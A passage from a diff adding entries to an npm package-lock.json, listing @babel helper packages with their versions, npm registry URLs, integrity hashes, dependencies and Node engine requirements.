"https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/@babel/helper-split-export-declaration": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/@babel/highlight": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.5", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/@babel/parser": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/@babel/template": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.14.5.tgz", + "integrity": "sha512-TLawwqpOErY2HhWbGJ2nZT5wSkR192QpN+nBg1THfBfftrlvOh+WbhrxXCH4q4xJ9Gl16BGPR/48JA+Ryiho/A==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.14.5", + "regexpu-core": "^4.7.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.2.3.tgz", + "integrity": "sha512-RH3QDAfRMzj7+0Nqu5oqgO5q9mFtQEVvCRsi8qCEfzLR9p2BHfn5FzhSB2oj1fF7I2+DcTORkYaQ6aTR9Cofew==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.13.0", + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/traverse": "^7.13.0", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0-0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/@babel/code-frame": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/@babel/generator": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", + "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.6", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/@babel/helper-function-name": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", + "dev": true, + "dependencies": { + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/@babel/helper-get-function-arity": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/@babel/helper-split-export-declaration": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/@babel/highlight": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.5", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/@babel/parser": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/@babel/template": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/@babel/traverse": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", + "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/generator": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-explode-assignable-expression": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.15.4.tgz", + "integrity": "sha512-J14f/vq8+hdC2KoWLIQSsGrC9EFBKE4NFts8pfMpymfApds+fPqR30AOUWc4tyr56h9l/GA1Sxv2q3dLZWbQ/g==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-explode-assignable-expression/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-explode-assignable-expression/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-function-name": { + "version": "7.9.5", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.9.5.tgz", + "integrity": "sha512-JVcQZeXM59Cd1qanDUxv9fgJpt3NeKUaqBqUEvfmQ+BCOKq2xUgaWZW2hr0dkbyJgezYuplEoh5knmrnS68efw==", + "dev": true, + "dependencies": { + "@babel/helper-get-function-arity": "^7.8.3", + "@babel/template": "^7.8.3", + "@babel/types": "^7.9.5" + } + }, + "node_modules/@babel/helper-get-function-arity": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.8.3.tgz", + "integrity": "sha512-FVDR+Gd9iLjUMY1fzE2SR0IuaJToR4RkCDARVfsBBPSP53GEqSFjD8gNyxg246VUyc/ALRxFaAK8rVG7UT7xRA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.8.3" + } + }, + "node_modules/@babel/helper-hoist-variables": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.15.4.tgz", + "integrity": "sha512-VTy085egb3jUGVK9ycIxQiPbquesq0HUQ+tPO0uv5mPEBZipk+5FkRKiWq5apuyTE9FUrjENB0rCf8y+n+UuhA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-hoist-variables/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-hoist-variables/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.15.4.tgz", + "integrity": "sha512-cokOMkxC/BTyNP1AlY25HuBWM32iCEsLPI4BHDpJCHHm1FU2E7dKWWIXJgQgSFiu4lp8q3bL1BIKwqkSUviqtA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.13.12.tgz", + "integrity": "sha512-4cVvR2/1B693IuOvSI20xqqa/+bl7lqAMR59R4iu39R9aOX8/JoYY1sFaNvUMyMBGnHdwvJgUrzNLoUZxXypxA==", + "dependencies": { + "@babel/types": "^7.13.12" + } + }, + "node_modules/@babel/helper-module-imports/node_modules/@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==" + }, + "node_modules/@babel/helper-module-imports/node_modules/@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dependencies": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.15.8.tgz", + "integrity": "sha512-DfAfA6PfpG8t4S6npwzLvTUpp0sS7JrcuaMiy1Y5645laRJIp/LiLGIBbQKaXSInK8tiGNI7FL7L8UvB8gdUZg==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.15.4", + "@babel/helper-replace-supers": "^7.15.4", + "@babel/helper-simple-access": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/helper-validator-identifier": "^7.15.7", + "@babel/template": "^7.15.4", + "@babel/traverse": "^7.15.4", + "@babel/types": "^7.15.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms/node_modules/@babel/code-frame": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms/node_modules/@babel/generator": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", + "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.6", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms/node_modules/@babel/helper-function-name": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", + "dev": true, + "dependencies": { + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms/node_modules/@babel/helper-get-function-arity": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms/node_modules/@babel/helper-module-imports": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.15.4.tgz", + "integrity": "sha512-jeAHZbzUwdW/xHgHQ3QmWR4Jg6j15q4w/gCfwZvtqOxoo5DKtLHk8Bsf4c5RZRC7NmLEs+ohkdq8jFefuvIxAA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms/node_modules/@babel/helper-split-export-declaration": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms/node_modules/@babel/highlight": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.5", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms/node_modules/@babel/parser": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/helper-module-transforms/node_modules/@babel/template": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms/node_modules/@babel/traverse": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", + "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/generator": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.15.4.tgz", + "integrity": "sha512-E/z9rfbAOt1vDW1DR7k4SzhzotVV5+qMciWV6LaG1g4jeFrkDlJedjtV4h0i4Q/ITnUu+Pk08M7fczsB9GXBDw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.14.5.tgz", + "integrity": "sha512-/37qQCE3K0vvZKwoK4XU/irIJQdIfCJuhU5eKnNxpFDsOkgFaUAwbv+RYw6eYgsC0E4hS7r5KqGULUogqui0fQ==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.15.4.tgz", + "integrity": "sha512-v53MxgvMK/HCwckJ1bZrq6dNKlmwlyRNYM6ypaRTdXWGOE2c1/SCa6dL/HimhPulGhZKw9W0QhREM583F/t0vQ==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.15.4", + "@babel/helper-wrap-function": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.15.4.tgz", + "integrity": "sha512-/ztT6khaXF37MS47fufrKvIsiQkx1LBRvSJNzRqmbyeZnTwU9qBxXYLaaT/6KaxfKhjs2Wy8kG8ZdsFUuWBjzw==", + "dev": true, + "dependencies": { + "@babel/helper-member-expression-to-functions": "^7.15.4", + "@babel/helper-optimise-call-expression": "^7.15.4", + "@babel/traverse": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-replace-supers/node_modules/@babel/code-frame": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + 